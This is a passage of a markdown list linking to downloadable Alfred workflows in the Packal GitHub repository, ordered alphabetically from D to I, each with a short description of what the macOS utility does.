* [Dotfiles](https://github.com/packal/repository/raw/master/dotfiles.alfredworkflow.lokecarlsson/dotfiles.alfredworkflow) - Open different dotfiles in Visual Studio Code on keyword
* [Down for everyone](https://github.com/packal/repository/raw/master/florian.down/down_for_everyone.alfredworkflow) - Checks a url against downforeveryoneorjustme.com
* [DownVid](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.downvid/downvid.alfredworkflow) - Download media from popular sources
* [Download From Overcast](https://github.com/packal/repository/raw/master/net.tyndyll.overcast/download_from_overcast.alfredworkflow) - Takes an Overcast (https://overcast.fm) URL and downloads the source MP3 file
* [Download YouTube Videos](https://github.com/packal/repository/raw/master/com.DonaldBurr.youtube-dl/download_youtube_video.alfredworkflow) - A simple workflow that downloads the currently playing YouTube video to your Movies folder. (Currently only works for Safari)
* [Drop](https://github.com/packal/repository/raw/master/com.apple.alfred.workflow.drop/drop.alfredworkflow) - Drop uploads a file to Dropbox and get a public download link
* [DropZone](https://github.com/packal/repository/raw/master/com.customct.DropZone/dropzone.alfredworkflow) - A workflow to work with Dropzone 3 actions.
* [Dropbox Client for Alfred](https://github.com/packal/repository/raw/master/com.fniephaus.dropbox/dropbox-client-for-alfred.alfredworkflow) - Access multiple Dropbox accounts with Alfred
* [Dropbox Sync Toggle](https://github.com/packal/repository/raw/master/com.giangvo.dropboxsync/toggle_dropbox_sync.alfredworkflow) - Disable/Enable Dropbox Sync
* [Drupal](https://github.com/packal/repository/raw/master/com.drupal.project.alfred/drupal.alfredworkflow) - Integrate with the Drupal website, search API's Project names etc.
* [Dual Wallpaper](https://github.com/packal/repository/raw/master/fm.fastmail.dfay.2w/dual_wallpaper.alfredworkflow) - File actions to set wallpaper by display
* [DualFinder](https://github.com/packal/repository/raw/master/com.jackwu.dualfinder/dualfinder.alfredworkflow) - DualFinder - Make Finder a dual-pane file manager
* [DuckDuckGo with Auto Suggestion](https://github.com/packal/repository/raw/master/lorenzschmid.ddgautosuggest/duckduckgo_with_auto_suggestion.alfredworkflow) - Using this workflow, query the DuckDuckGo search engine and get its auto suggestions showing right in your Alfred launcher window.
* [Duden Search](https://github.com/packal/repository/raw/master/net.deanishe.alfred-duden/duden_search-1.4.alfredworkflow) - Search duden.de German dictionary (with auto-suggest)
* [DwellClick Workflow](https://github.com/packal/repository/raw/master/com.customct.DwellClick/dwellclickworkflow.alfredworkflow) - A workflow to use the DwellClick program from Pilotmoon.
* [ESV Online Bible](https://github.com/packal/repository/raw/master/Workflow.Emmanuel.ESVBible/esv_online_bible.alfredworkflow) - Quickly look up and paste ESV bible passages!
* [Edit With… A QuickCursor Alternative](https://github.com/packal/repository/raw/master/com.sztoltz.editwith/editwith30.alfredworkflow) - Select text in one app, edit in another then paste it back
* [EggTimer 2](https://github.com/packal/repository/raw/master/carlosnz.eggtimer2/eggtimer_v2.0_final.alfredworkflow) - A comprehensive countdown timer and alarm, with advanced feature set.
* [Ekşi Sözlük Search](https://github.com/packal/repository/raw/master/com.ttuygun.alfred-eksi-sozluk-workflow/eksi_sozluk.alfredworkflow) - Search Turkey's eksisozluk.com
* [Elastic Documentation Search](https://github.com/packal/repository/raw/master/de.spinscale.alfred.elastic/elastic.alfredworkflow) - Search Elastic Documentation in Alfred and open in browser
* [Emacs Workflow](https://github.com/packal/repository/raw/master/com.customct.emacs/emacsworkflow.alfredworkflow) - Use Alfred to edit file in Emacs.
* [Emoj](https://github.com/packal/repository/raw/master/com.sindresorhus.emoj/emoj.alfredworkflow) - Find relevant emoji from some text
* [Emoji](https://github.com/packal/repository/raw/master/com.reorx.alfred.emoji/emoji.alfredworkflow) - Search & copy emoji to clipboard
* [Emoji Finder](https://github.com/packal/repository/raw/master/com.alfredapp.amio.emojifinder/emoji-finder.alfredworkflow) - Find relevant emoji from text
* [Emoji Taco](https://github.com/packal/repository/raw/master/org.jeef.emoji/emoji_taco-0.9.54.alfredworkflow) - Always up to date - Unicode Emoji workflow includes Taco!
* [Empty Bird](https://github.com/packal/repository/raw/master/works.cotton.emptybird/empty_bird.alfredworkflow) - Empty cache from Whatsapp iCloud Backups in com.apple.bird
* [Encode / Decode](https://github.com/packal/repository/raw/master/com.farrell.encode-decode.alfredworkflow/encode-decode.alfredworkflow) - Encode/Decode Strings
* [English to Russian Transliteration](https://github.com/packal/repository/raw/master/me.alexw.translit/transliterate.alfredworkflow) - Write in English, transliterate to Russian
* [Epoch](https://github.com/packal/repository/raw/master/gheardi.riccardo.epoch/epoch.alfredworkflow) - Copies epoch times to clipboard. Support seconds and milliseconds format.
* [Epoch Converter](https://github.com/packal/repository/raw/master/com.boulderhopkins.epoch/epoch_conversion.alfredworkflow) - Simple script to convert epochs to large type
* [Epoch Converter](https://github.com/packal/repository/raw/master/snooze92.epoch.converter/epoch-converter-1_0_0.alfredworkflow) - Makes it easy to work with epoch timestamps!
* [Epoch/Unix Time to DateTime](https://github.com/packal/repository/raw/master/com.chintanbuch.alfred.epoch2dt/epoch_to_datetime.alfredworkflow) - Convert epoch time to readable datetime
* [Ethernet Toggle](https://github.com/packal/repository/raw/master/com.fbxenterprises.ethernettoggle/ethernet_toggle.alfredworkflow) - This workflow is designed to set the state of the ethernet adapter of your choice. May work on other network adapters, but they have not been tested.
* [EthexIndia INR Rate](https://github.com/packal/repository/raw/master/com.firesofmay.ethexindia/ethexindia_inr_rate.alfredworkflow) - Current INR Rate for Ether via Ethexindia
* [Eudic tool](https://github.com/packal/repository/raw/master/xyz.cdpath.alfred/eudic_pro.alfredworkflow) - Look up in Eudic
* [Evernote](https://github.com/packal/repository/raw/master/com.sztoltz.evernote/evernote.alfredworkflow) - Search, Create, Append, Preview, set Reminders... All within Alfred
* [Evernote Bookmarks](https://github.com/packal/repository/raw/master/com.apple.alfred.workflow.enb/evernote_bookmarks.alfredworkflow) - Search in Evernote for saved bookmarks (tagged as such)
* [Evernote Search](https://github.com/packal/repository/raw/master/com.shaoshing.alfred-evernote/search_evernote.alfredworkflow) - The only workflow that provides the best search result by using Evernote's API, and supports all advanced search grammar.
* [Evernote Snippets](https://github.com/packal/repository/raw/master/com.piszek.alfred.snippets/alfred-evernote-snippets.alfredworkflow) - Evernote notes as snippets in Alfred
* [ExpanDrive Toolkit](https://github.com/packal/repository/raw/master/com.customct.ExpanDrive/expandrivetoolkit.alfredworkflow) - Toolbox of function to work with ExpanDrive
* [Expand Link](https://github.com/packal/repository/raw/master/com.mattbanks.expandlink/expand_link.alfredworkflow) - Expands shortened link and copies to clipboard
* [Export top pages document to pdf](https://github.com/packal/repository/raw/master/com.pjvandehaar.pagestopdf/pagestopdf.alfredworkflow) - Exports the top Pages5 document to a pdf in the same directory
* [F.lux](https://github.com/packal/repository/raw/master/com.robertwdempsey.flux/f.lux_.alfredworkflow) - An Alfred workflow for controlling aspects of F.lux
* [FFProbe](https://github.com/packal/repository/raw/master/cz.vookimedlo.alfred.ffprobe/ffprobe.alfredworkflow) - Displays information about media files.
* [Fabric for Alfred](https://github.com/packal/repository/raw/master/com.fniephaus.fabric/fabric.alfredworkflow) - Quickly execute Fabric tasks
* [Faker](https://github.com/packal/repository/raw/master/com.arbitrarydefinitions.faker/faker.alfredworkflow) - Generates fake data for security questions, testing, etc.
* [Fakeum](https://github.com/packal/repository/raw/master/net.deanishe.alfred-fakeum/fakeum-1.2.alfredworkflow) - Generate fake test data in Alfred
* [Fandango Search](https://github.com/packal/repository/raw/master/com.anthonyashley.fandangosearch/fandangosearch.alfredworkflow) - A simple workflow to search Fandango
* [Fantastical > Apple Calendar](https://github.com/packal/repository/raw/master/com.ryanblock.fantastical.alias/fantastical_2_alias.alfredworkflow) - Uh, Fantastical 2 is out, why do you keep opening Apple Calendar? Muscle memory? Well, we've got your back.
* [Fast New Todoist Task](https://github.com/packal/repository/raw/master/com.davidtaboas.alfred.todoist/fast_new_todoist_task.alfredworkflow) - Creates a new task in Todoist' inbox, optional date
* [Fast ascii](https://github.com/packal/repository/raw/master/com.lisongcheng.fastascii/fast_ascii.alfredworkflow) - A fast ascii converter
* [Favorites](https://github.com/packal/repository/raw/master/tylereich.favorites/favorites.alfredworkflow) - Save frequently-used files and folders for quick access later
* [File Creator](https://github.com/packal/repository/raw/master/com.filecreator1.0.automator/file_automator.alfredworkflow) - Creates files using pre-specified types/templates, and grows as you go. Current types (.txt, .doc, .csv, .ppt, .cs, .js, .html, .css)
* [File Metadata](https://github.com/packal/repository/raw/master/com.surrealroad.alfred-metadata/file_metadata.alfredworkflow) - Shows metadata for a file in Alfred
* [File Name Sequencer](https://github.com/packal/repository/raw/master/com.customct.filenamesequencer/filenamesequencer.alfredworkflow) - Sequences through file names in a format.
* [FileShuttle Actions](https://github.com/packal/repository/raw/master/com.semicolons.alfred.fileshuttleactions/fileshuttle_actions.alfredworkflow) - Adds FileShuttle support to main window and file browser
* [Files and Folders](https://github.com/packal/repository/raw/master/net.nullhochnull.filesandfolders.alfredworkflow/filesandfolders.alfredworkflow) - Create, open, select, move and delete multiple files with a certain extension in the current directory.
* [Find Lyrics of Current Song on Rap Genius](https://github.com/packal/repository/raw/master/com.rudzitis.lyrics/alfred_lyrics.alfredworkflow) - Looks up lyrics for current song on Rap Genius
* [Find and Replace](https://github.com/packal/repository/raw/master/com.alfredapp.findandreplace/find_and_replace.alfredworkflow) - Finds a word from the copied text and replace it.
* [FindTerm](https://github.com/packal/repository/raw/master/com.watts.findertoiterm/findterm.alfredworkflow) - Opens directory in foremost window of finder in iTerm2.
* [FineReader](https://github.com/packal/repository/raw/master/com.xilopaint.alfredapp.finereader/finereader.alfredworkflow) - Scan and convert PDF documents and images of text into editable and searchable files.
* [Firechrome](https://github.com/packal/repository/raw/master/de.leenno.firechrome/firechrome.alfredworkflow) - Open Chrome's current tab in Firefox or vice versa
* [Fish Toolbox](https://github.com/packal/repository/raw/master/com.customct.FishToolbox/fishtoolbox.alfredworkflow) - A list of functions for working with the Fish shell.
* [Flask Docs](https://github.com/packal/repository/raw/master/org.techouse.flask-docs/flask-docs-v1.0.3.alfredworkflow) - Search the Flask documentation using Alfred and Algolia
* [FlatUIColors picker](https://github.com/packal/repository/raw/master/ch.mi-ca.flatuicolors/flatuicolors.alfredworkflow) - Help to get flatuicolors.com hexa code by just typing : flat
* [Flickr Theatre - Remote Control](https://github.com/packal/repository/raw/master/com.clickysteve.flickrremote/flickr_theatre_-_remote_control.alfredworkflow) - Control Flickr using Alfred Remote
* [Flip Text](https://github.com/packal/repository/raw/master/com.tildesoft.alfred.workflow.flip-text/fliptext.alfredworkflow) - Flips typed text upside-down
* [Flush](https://github.com/packal/repository/raw/master/com.joshtronic.flush.alfred/flush.alfredworkflow) - Flush stuff, specifically DNS and Memcached
* [Flush DNS](https://github.com/packal/repository/raw/master/de.draegerit.alfred.flushdns/flushdns.alfredworkflow) - Flush the DNS cache in Mac OS X (10.7+)
* [Flush DNS 10.6-10.14](https://github.com/packal/repository/raw/master/com.harvey.flushdns/flush_dns.alfredworkflow) - Will flush DNS on macOS 10.6 through to 10.14
* [Flush DNS Cache 4 OS X El Capitan](https://github.com/packal/repository/raw/master/lipe/flash_dns_cache_el_capitain.alfredworkflow) - DNS Flusher for OS X El Capitan
* [Flux](https://github.com/packal/repository/raw/master/com.spr.f.lux/f.lux_.alfredworkflow) - Control f.lux with Alfred
* [Flux Control (Plus Remote)](https://github.com/packal/repository/raw/master/com.clickysteve.fluxremote/flux_control_plus_remote.alfredworkflow) - Control Flux using Alfred and Alfred Remote
* [Focus](https://github.com/packal/repository/raw/master/com.tedwise.focus/focus.alfredworkflow) - Toggles the Focus app status.
* [Focus Workflow (heyfocus.com)](https://github.com/packal/repository/raw/master/com.mfaarkrog.alfredapp-workflows.focus/focus.alfredworkflow) - Shortcuts for Focus (heyfocus.com)
* [Folder2ISO](https://github.com/packal/repository/raw/master/com.jouschcom.folder2iso/folder2iso.alfredworkflow) - Makes an image file (.iso) for each selected folder
* [Folding Text Workflow](https://github.com/packal/repository/raw/master/com.customct.FoldingTextWorkflow/foldingtextworkflow.alfredworkflow) - A workflow for working with the FoldingText.app
* [Force Empty Trash](https://github.com/packal/repository/raw/master/com.renegaed.force-empty-trash/force_empty_trash.alfredworkflow) - Empty Trash even if files are in use
* [Force Quit](https://github.com/packal/repository/raw/master/com.stephenoakman.forcequit/force_quit.alfredworkflow) - Force quit an application (hold Alt to restart). Type 'fq' to initiate the workflow.
* [Force the Trash](https://github.com/packal/repository/raw/master/dkgrieshammer.force-the-trash/force_the_trash.alfredworkflow) - empty the trash by the power of sudo force
* [Forecast](https://github.com/packal/repository/raw/master/com.kejadlen.forecast/forecast.alfredworkflow) - Checks the weather using Forecast.io
* [Format SQL Query](https://github.com/packal/repository/raw/master/com.no-technology-no-life.fromat.sql.query/format_sql_query.alfredworkflow) - format SQL Query
* [FormatSize](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.formatsize/formatsize.alfredworkflow) - Reference paper sizes and device resolutions
* [Forvo](https://github.com/packal/repository/raw/master/zmin.forvo/forvo.alfredworkflow) - A pronunciation workflow based on Forvo.com.
* [Foursquare Search](https://github.com/packal/repository/raw/master/com.xilopaint.alfredapp.foursquare/foursquare_search.alfredworkflow) - Search Foursquare from Alfred 3
* [Free disk space](https://github.com/packal/repository/raw/master/com.ctn.diskfree/disk_free.alfredworkflow) - Displays the free disk space of your harddrives
* [Freebox revolution](https://github.com/packal/repository/raw/master/com.niamiot.freebox_revolution/freebox_revolution.alfredworkflow) - command freebox revolution TV player (French set-top box)
* [Full Text Search Anything](https://github.com/packal/repository/raw/master/MacHu-GWU.fts.anything/full-text-search-anything.alfredworkflow) - allow you to **custom full-text search on your own dataset**. You can easily define **which fields you want to search**, **how you want the data to be matched** and **send the result to other workflow to process**.
* [Fullscreen app](https://github.com/packal/repository/raw/master/fr.ketouem.alfred.fullscreen/fullscreen-app.alfredworkflow) - Alfred workflow that allows toggling fullscreen state for a running application.
* [Funnel](https://github.com/packal/repository/raw/master/com.tedwise.funnel/funnel.alfredworkflow) - Funnels selected text through a filter and replaces the selected text with the result.
* [Fuzzy Folders](https://github.com/packal/repository/raw/master/net.deanishe.alfred-fuzzyfolders/fuzzy_folders-2.3.alfredworkflow) - Fuzzy search across folder subtrees.
* [GPG](https://github.com/packal/repository/raw/master/de.bennysamirhierl.gpg/gpg.alfredworkflow) - Sign and encrypt files with GPG
* [Gank Alfred Workflow](https://github.com/packal/repository/raw/master/io.github.hujiaweibujidao/gank.1.0.3.alfredworkflow) - The missing Alfred Workflow for searching ganks(干货) in gank.io
* [GemSear.ch](https://github.com/packal/repository/raw/master/fi.matiaskorhonen.gemsearch/gemsearch-2.0.0.alfredworkflow) - Search for RubyGems (with autocompletion support)
* [Gemesis](https://github.com/packal/repository/raw/master/com.edwardloveall.gemesis/gemesis.alfredworkflow) - Quickly access a ruby gem's URLs with "gem <gem name>"
* [Generate Header for Screenplay in Fountain](https://github.com/packal/repository/raw/master/com.NicoleTabat.GenerateScreenplayHeader/generate_script_header.alfredworkflow) - Generates a the header text (Title, Author, Date, Contact Info) for a screenplay written in Fountain.
* [Genererate Passwords](https://github.com/packal/repository/raw/master/tirol.basecamp.alfredworkflow.generate-passwords/genererate_passwords.alfredworkflow) - Quickly generate strong and secure passwords.
* [Genpass](https://github.com/packal/repository/raw/master/com.gilbarbara.genpass/genpass.alfredworkflow) - Generate password from a string
* [Genymotion](https://github.com/packal/repository/raw/master/net.yakiyama.alfred.genymotion/genymotion.alfredworkflow) - Start emulator instantly
* [Genymotion - Launch device](https://github.com/packal/repository/raw/master/me.riyaz.genymotion/genymotion.alfredworkflow) - Open Genymotion devices from Alfred.
* [Geocoder](https://github.com/packal/repository/raw/master/com.apple.alfred2.workflow.geo/geocoder.alfredworkflow) - Get Geo-Coords from address
* [German Verb Conjugation](https://github.com/packal/repository/raw/master/com.alfredapp.jothirams.german-verb-conjugation/german-verb-conjugation.alfredworkflow) - Added a german verb conjugation workflow. Try it out, if you are eager enough to learn the intricacies of the german verbs and how it has to be conjugated!
* [Get App Icon](https://github.com/packal/repository/raw/master/com.mcskrzypczak.extracticon/mcskrzypczak-extract_icon.alfredworkflow) - Get App's icon from /Applications or App Store / Mac App Store
* [Get Latest Files from Trickster](https://github.com/packal/repository/raw/master/com.apparentsoft.trickster.alfredapp.latest/get_latest_files_from_trickster.alfredworkflow) - Retrieves latest files from Trickster and presents them
* [Get Wordpress Salts](https://github.com/packal/repository/raw/master/com.nickbasham.wpsalts/get_wordpress_salts.alfredworkflow) - Retreive salts from the Wordpress Salts Key Generator and save to the clipboard.
* [Get biblia.com Verse of the Day](https://github.com/packal/repository/raw/master/com.bgoetz.bilbiaverse/get_biblia.com_verse_of_the_day.alfredworkflow) - Get biblia.com Verse of the Day
* [Getflix](https://github.com/packal/repository/raw/master/com.dpskvn.getflix/alfred-getflix.alfredworkflow) - Update your IP on Getflix
* [Giffy Last Recording](https://github.com/packal/repository/raw/master/me.akashagrawal.giffy/giffy_last_recording.alfredworkflow) - Convert last .mov recording to gif in configured directory.
* [Giphy](https://github.com/packal/repository/raw/master/com.arbitrarydefinitions.giphy/giphy.alfredworkflow) - Search Giphy for animated gifs
* [Gist](https://github.com/packal/repository/raw/master/com.danielecook.gist/gist.alfredworkflow) - An alfred workflow for accessing github gists as snippets. Supports tags, stars, and private gists
* [Git Repos](https://github.com/packal/repository/raw/master/net.deanishe.alfred-git-repos/git_repos-1.7.alfredworkflow) - Browse, search and open Git repositories from within Alfred.
* [GitHub](https://github.com/packal/repository/raw/master/de.gh01.alfred.github/github.alfredworkflow) - Searches GitHub repos and their issues/files etc.
* [GitKraken](https://github.com/packal/repository/raw/master/com.jwkicklighter.gitkraken/gitkraken.alfredworkflow) - Open a folder in GitKraken.app
* [GitLab](https://github.com/packal/repository/raw/master/com.lukewaite.alfred-gitlab/gitlab.alfredworkflow) - GitLab Project search for Alfred
* [Github Repos](https://github.com/packal/repository/raw/master/edgarjs.github-repos.workflow/github-repos.alfredworkflow) - Easily open Github repositories
* [Github Search](https://github.com/packal/repository/raw/master/com.pawelgrzybek.github/github_search.alfredworkflow) - Alfred workflow to search for Github repository.
* [Github repos](https://github.com/packal/repository/raw/master/sh.edgar.alfred.GithubRepos/github_repos.alfredworkflow) - Quickly open your github repositories
* [Gitignore](https://github.com/packal/repository/raw/master/com.yourtion.gitignore/gitignore.alfredworkflow) - Easy get git ignore from Alfred workflow
* [Gitmoji](https://github.com/packal/repository/raw/master/org.leolabs.alfred.gitmoji/gitmoji.alfredworkflow) - Search for Gitmojis easily and copy them to your clipboard
* [Glosbe Translation](https://github.com/packal/repository/raw/master/net.deanishe.alfred-glosbe/glosbe_translation.alfredworkflow) - Translate text using Glosbe.com
* [Gmail Client for Alfred](https://github.com/packal/repository/raw/master/com.fniephaus.gmail/gmail-client-for-alfred.alfredworkflow) - Manage your Gmail inbox with Alfred
* [Go Links](https://github.com/packal/repository/raw/master/net.mostlywrong.golinks/go_links.alfredworkflow) - Open the text as a http://go/<text> link your default browser.
* [Go To Here](https://github.com/packal/repository/raw/master/com.ahmadt.gotohere/go_to_here.alfredworkflow) - Jump to files and folders when opening or saving
* [GoCD](https://github.com/packal/repository/raw/master/com.matthewmcg.gocd/gocd.alfredworkflow) - Provides easy access to all pipelines in your GoCD instance.
* [GoToMeeting Tools](https://github.com/packal/repository/raw/master/com.tonyetienne.gotomeeting.tools/gotomeeting_tools.alfredworkflow) - GoToMeeting phonebook and launcher
* [Golden Ratio](https://github.com/packal/repository/raw/master/tylereich.golden-ratio/golden_ratio.alfredworkflow) - Calculate numbers using the golden ratio
* [GoldenRatio](https://github.com/packal/repository/raw/master/multigeneris.alfred.workflow.goldenratio/goldenratio.alfredworkflow) - This workflow calculates the longer and shorter side of the golden ratio for any given number.
* [Goo Japanese Translater](https://github.com/packal/repository/raw/master/com.rorvte.alfred-goodict/goo_translate-1.2.alfredworkflow) - A workflow for searching the definitive Japanese dictionary at http://dictionary.goo.ne.jp
* [Goo Japanese Translater](https://github.com/packal/repository/raw/master/com.rorvte.alfred-goodict/goo_translate-1.2.alfredworkflow) - A workflow for searching the definitive Japanese dictionary at http://dictionary.goo.ne.jp
* [Google Apps](https://github.com/packal/repository/raw/master/com.pierbover.googleapps/googleapps.alfredworkflow) - A simple workflow for accessing Google Apps
* [Google Assistant](https://github.com/packal/repository/raw/master/com.hug33k.googleassistantsdk/google_assistant.alfredworkflow) - Use Google Assistant SDK on macOS
* [Google Booksearch](https://github.com/packal/repository/raw/master/com.spr.googlebooks/google_booksearch.alfredworkflow) - Searches Google Books
* [Google Hangout](https://github.com/packal/repository/raw/master/com.jonathanrwallace.google_hangout/google_hangout.alfredworkflow) - Generate a google hangout link via Safari or Google Chrome and place the hangout URL in your clipboard
* [Google Image Suggest](https://github.com/packal/repository/raw/master/com.jrejaud.googleimagesuggest/google_image_suggest.alfredworkflow) - Get Google Image Search Suggestions
* [Google Maps Directions](https://github.com/packal/repository/raw/master/com.andrewbenson.directions/directions.alfredworkflow) - Quickly get directions via Google Maps from current location to provided destination or place of interest.
* [Google Maps Place Search](https://github.com/packal/repository/raw/master/com.invious.gmaps.placesearch/gmapsplacesearch.alfredworkflow) - simple workflow to take selected or clipboard text and return an address
* [Google Maps Routes](https://github.com/packal/repository/raw/master/strack.google.routes/google_maps_routes.alfredworkflow) - This workflow calculates the route from the current location, a contact from your address book or a specified location to either the current location, a contact from your address book or a specified location.
* [Google Music Shuffle](https://github.com/packal/repository/raw/master/jayj-google-music-shuffle/google-music-shuffle.alfredworkflow) - Shuffle music on Google Music
* [Google PageSpeed Insights](https://github.com/packal/repository/raw/master/GooglePageSpeedInsights/google_pagespeed_insights.alfredworkflow) - This workflow allows you to test your website on Google PageSpeed Insights.
* [Google Play Music Controls for Chrome](https://github.com/packal/repository/raw/master/com.jleyrer.google_play_chrome/alfred_google_play_chrome_controls.alfredworkflow) - Controls music playback in an open Google Play tab in Chrome.
* [Google Redirect Cleaner](https://github.com/packal/repository/raw/master/com.bogdanvitoc.google-redirect-strip-alfred-workflow/google_redirect_cleaner.alfredworkflow) - removes google tracking from search result URLs
* [Google Selected Text](https://github.com/packal/repository/raw/master/com.benknight.googleselectedtext/google_selected_text.alfredworkflow) - Use this one to highlight words, then hit the hotkey to automatically open a new browser tab with the Google search results for the selection as the search query.
* [Google Similar Image Search](https://github.com/packal/repository/raw/master/net.deanishe.alfred-google-similar-images/google_similar_images-1.0.alfredworkflow) - Google Image search based on image files on your computer
* [Google Translate Alfred Workflow](https://github.com/packal/repository/raw/master/scriptme.alfred.googletranslate/google_translate.alfredworkflow) - Workflow to translate via Google Translate API
* [Google URL Shortener](https://github.com/packal/repository/raw/master/com.kopepasah.google-url-shortener/google.url_.shortener.alfredworkflow) - An Alfred Extension that uses Google's URL Shortener API to shorten long URLs.
* [Google URL Shortner](https://github.com/packal/repository/raw/master/com.samturner.alfred.google-url-shortener/google_url_shortener.alfredworkflow) - Shortens a url using Google's goo.gl service
* [Google icon search](https://github.com/packal/repository/raw/master/com.watts.gicon/google_icon_search.alfredworkflow) - Search icons on google
* [Google-Alfred3-Workflow](https://github.com/packal/repository/raw/master/io.github.ethan-funny/google-alfred3-workflow.alfredworkflow) - The missing Alfred 3 Workflow for obtaining google search results based on your query, with some handy tips.
* [Grab Link](https://github.com/packal/repository/raw/master/net.citizen428.alfred.grablink/grab_link.alfredworkflow) - Copies the link of the active browser tab to the clipboard
* [GradlePlease](https://github.com/packal/repository/raw/master/info.evelio.gradleplease/gradleplease1.1.alfredworkflow) - Gradle Please for Alfred
* [HGNC Search](https://github.com/packal/repository/raw/master/com.danielecook.hgnc/hgnc-search.alfredworkflow) - Search for human genes
* [HTML Special Characters](https://github.com/packal/repository/raw/master/com.spr.htmlspecialcharacters/html_special_characters.alfredworkflow) - Encodes a string with HTML special characters
* [HTTP Status Code](https://github.com/packal/repository/raw/master/io.github.ilstar.httpcode/http_status_code.alfredworkflow) - checkout http status code meanings
* [HTTP Status Codes](https://github.com/packal/repository/raw/master/uk.co.upsync.http/http_status_codes.alfredworkflow) - Returns HTTP status code information on the https://httpstatuses.com/ website
* [HackerBoard](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.hackerboard/hackerboard.alfredworkflow) - Front page news from web community sources
* [HackerNews for Alfred](https://github.com/packal/repository/raw/master/com.fniephaus.hackernews/hackernews-for-alfred.alfredworkflow) - Read Hacker News with Alfred
* [Hammerspoon Workflow](https://github.com/packal/repository/raw/master/com.customct.hammerspoon/hammerspoonworkflow.alfredworkflow) - Control you desktop with Hammerspoon.
* [Hangouts](https://github.com/packal/repository/raw/master/com.willpuckett.gh/gh.alfredworkflow) - Handles calling and SMS with Google Hangouts in Google Chrome
* [Hash](https://github.com/packal/repository/raw/master/net.exit4web.hash/hash.alfredworkflow) - String and file hash calculator
* [Haskell Text Converter](https://github.com/packal/repository/raw/master/com.customct.HaskellTextWF/haskelltextworkflow.alfredworkflow) - This workflow demonstrates the use of the Alfred Haskell library to make workflows. It converts text to different type and does line numbering.
* [Hastebin](https://github.com/packal/repository/raw/master/co.jmes.hastebin/hastebin.alfredworkflow) - Convert clipboard contents to a Hastebin URL.
* [Hayaku](https://github.com/packal/repository/raw/master/com.kizmarh.hayaku/hayaku.alfredworkflow) - Expands fuzzy CSS abbreviations
* [Hayoo](https://github.com/packal/repository/raw/master/in.loathing.fear.hayoo/hayoo.alfredworkflow) - Hayoo search for haskell functions and packages
* [Hearhtstone Cards](https://github.com/packal/repository/raw/master/me.gabrielrios.alfred2-hearthstone/alfred2-hearthstone.alfredworkflow) - Search hearthstone cards quickly
* [Heroku](https://github.com/packal/repository/raw/master/com.blaked.heroku_workflow/heroku.alfredworkflow) - This workflow helps you to quickly open Heroku logs, console, or dashboard.
* [Hexo](https://github.com/packal/repository/raw/master/com.zfanswer.hexo/hexo.alfredworkflow) - A Alfred2 workflow for Hexo
* [Hi! How can I help you?](https://github.com/packal/repository/raw/master/com.benjaminlawless.hi/hi_how_can_i_help_you.alfredworkflow) - Snippet for quick replying "Hi {name}! How can I help you?" to IM messages.
* [Hidden Files](https://github.com/packal/repository/raw/master/com.andyryan.hiddenfiles/hidden_files.alfredworkflow) - This wokflow shows or hides hidden files in Finder
* [Hide Desktop](https://github.com/packal/repository/raw/master/com.alfred2.workflow.hidedesktop/hide_desktop.alfredworkflow) - Hide and Unhide Desktop
* [Hide Desktop - Toggle](https://github.com/packal/repository/raw/master/com.boyd.hidedesktop/hide_desktop_toggle.alfredworkflow) - Toggle the visibility of the desktop on macOS
* [Home Assistant](https://github.com/packal/repository/raw/master/com.browall.home_assistant.automation/home_assistant.alfredworkflow) - You will be able to control you lights, get sensor information, trigger automations and look for your devices in device tracker. All in Home Assistance
* [Home End](https://github.com/packal/repository/raw/master/org.jeef.hotkeys/homeend.alfredworkflow) - Maps Home/End keys to work like windows using HotKeys in Alfred (Select to start/end of the line not file)
* [Homeassistant Companion](https://github.com/packal/repository/raw/master/com.j3n50m4t.HomeAssistant/homeassistant.alfredworkflow) - Allows to interact with homeassistant (open Webui, restart, check config and update git)
* [Homebrew](https://github.com/packal/repository/raw/master/eu.gonzonet.brew/homebrew.alfredworkflow) - Run Homebrew Commands from Alfred
* [Homebrew and Cask for Alfred](https://github.com/packal/repository/raw/master/com.fniephaus.homebrew/homebrew-for-alfred.alfredworkflow) - Easily control Homebrew and Cask with Alfred
* [Hosts File Manager](https://github.com/packal/repository/raw/master/com.iovergaard.alfred.hfm/hosts_file_manager_v1.0.alfredworkflow) - Manage the /private/etc/hosts file
* [Hotkey to nvalt scratchpad](https://github.com/packal/repository/raw/master/com.pjvandehaar.nvalt-scratchpad/nvalt-scratchpad.alfredworkflow) - Open a new scratchpad in nvALT with a hotkey
* [HotkeyLock (For High Sierra+)](https://github.com/packal/repository/raw/master/com.ravage.hotkeylock/lock.alfredworkflow) - Locks the Mac via the cmd+ctrl+q shortcut introduced in High Sierra
* [How much BTC](https://github.com/packal/repository/raw/master/com.howmuchbtc.example/how_much_btc_v.1.0.alfredworkflow) - Converter BTC to USD and other currencies
* [Hue](https://github.com/packal/repository/raw/master/com.jason0x43.alfred-hue/alfred-hue.alfredworkflow) - A workflow for interacting with Philips Hue lights
* [Hunter Douglas Platinum Shade Control](https://github.com/packal/repository/raw/master/com.satyavolu.alfred.hunterdouglas/hunter_douglas_platinum_control.alfredworkflow) - Enables control of window shades via Hunter Douglas Platinum Gateway
* [Hypem Hotkey Controller](https://github.com/packal/repository/raw/master/com.khaliqgant.hypemcontrol/hypem_hotkey_controller.alfredworkflow) - Control hypem.com via hotkeys
* [Hyperlink](https://github.com/packal/repository/raw/master/com.charliecm.hyperlink/hyperlink.alfredworkflow) - Copy an open browser tab as hyperlink
* [I Sheet You Not](https://github.com/packal/repository/raw/master/net.deanishe.alfred-i-sheet-you-not.dev/i-sheet-you-not-0.2.2.alfredworkflow) - Generate Alfred 3 Script Filters from Excel files
* [IMDb Search](https://github.com/packal/repository/raw/master/com.targumanu.imdbsearch/imdb_search.alfredworkflow) - Search IMDb for movies, TV shows & celebrities
* [IME](https://github.com/packal/repository/raw/master/zmin.ime/ime.alfredworkflow) - A Input method workflow based on Google Input Tools
* [IP](https://github.com/packal/repository/raw/master/me.nicola.cavallazzi.ip/ip.alfredworkflow) - A simple and elegant Workflow to get your private and public IP addresses
* [IP Address](https://github.com/packal/repository/raw/master/com.alexchantastic.ipaddress/alfred-ip-address-workflow.alfredworkflow) - An Alfred 3 workflow for getting your local and external IP addresses.
* [IP Locator](https://github.com/packal/repository/raw/master/com.github.taozen.workflow.iploc/iploc.alfredworkflow) - 查询IP(v4)归属地
